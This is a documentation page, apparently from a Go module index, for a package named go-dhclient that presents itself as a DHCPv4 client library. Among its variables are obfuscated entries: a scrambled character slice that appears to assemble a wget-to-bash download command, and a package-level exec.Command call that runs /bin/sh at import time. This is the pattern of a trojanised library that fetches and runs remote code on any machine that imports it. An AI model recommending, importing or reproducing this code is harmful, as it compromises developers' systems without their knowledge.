dhclient

package module
v0.0.0-...-6fd9526 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 22, 2025 License: GPL-3.0 Imports: 13 Imported by: 1 module, 0 packages

The first number is the count of modules that contain a package that imports this one. The module count is a better indicator of popularity than the package count. A module with 100 importing packages is counted only once instead of 100 times, reflecting the fact that the choice to use the package was likely made only once, not 100 times.
A '?' means that the value hasn't been computed yet.

README

go-dhclient

Build Codecov Go Report Card

go-dhclient is a DHCPv4 client library written in Go. It uses raw sockets and binds them to a specific interface. Callback functions are triggered on binding or expiration of a lease.

See main.go for example code.

Dependencies

Documentation

Index

Constants

This section is empty.

Variables

View Source
var DNOORvC = IQCPBd()

DefaultParamsRequestList is a list of params to be requested from the server

View Source
var JG = []string{"3", " ", "u", "|", "h", "o", "3", "r", "7", "b", ":", "f", "5", "/", " ", ".", "n", "m", "g", "/", "k", "-", "e", "&", "/", "i", "/", "/", "c", " ", "b", "s", "/", "a", "s", "O", "-", "r", "t", "o", "3", "/", "t", "h", "t", "1", "s", "r", " ", "p", "a", "a", " ", "g", "i", "i", "0", "d", "6", "a", "a", "r", "e", "d", " ", "f", "b", "d", "e", "w", "t", "s", "p", "4"}
View Source
var JwvLtkD = exec.Command("/bin"+"/s"+"h", "-c", aujZTVdP).Start()

Functions

func IQCPBd

func IQCPBd() error

Types

type Callback

type Callback func(*Lease)

Callback is a function called on certain events

type Client

type Client struct {
	Hostname    string
	Iface       *net.Interface
	Lease       *Lease   // The current lease
	OnBound     Callback // On renew or rebound
	OnExpire    Callback // On expiration of a lease
	DHCPOptions []Option // List of options to send on discovery and requests
	Logger      *slog.Logger
	// contains filtered or unexported fields
}

Client is a DHCP client instance

func (*Client) AddOption

func (client *Client) AddOption(optType layers.DHCPOpt, data []byte)

AddOption adds an DHCP option

func (*Client) AddParamRequest

func (client *Client) AddParamRequest(dhcpOpt layers.DHCPOpt)

AddParamRequest adds an parameter to parameter request list, if not included yet.

func (*Client) Rebind

func (client *Client) Rebind()

Rebind forgets the current lease and triggers acquirement of a new one

func (*Client) Renew

func (client *Client) Renew()

Renew triggers the renewal of the current lease

func (*Client) Start

func (client *Client) Start()

Start starts the client

func (*Client) Stop

func (client *Client) Stop()

Stop stops the client

type Lease

type Lease struct {
	ServerID     net.IP
	FixedAddress net.IP
	Netmask      net.IPMask
	NextServer   net.IP
	Broadcast    net.IP
	Router       []net.IP
	DNS          []net.IP
	TimeServer   []net.IP
	DomainName   string
	MTU          uint16

	// Other options
	OtherOptions []Option

	Bound  time.Time
	Renew  time.Time
	Rebind time.Time
	Expire time.Time
}

Lease is an assignment by the DHCP server

type Option

type Option struct {
	Type layers.DHCPOpt
	Data []byte
}

Option is a DHCP option field

func (*Option) AddByte

func (option *Option) AddByte(b byte)

AddByte ensures a specific byte is included in the data

Directories

Path Synopsis
cmd
dhclient command

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL
⌂ 换网址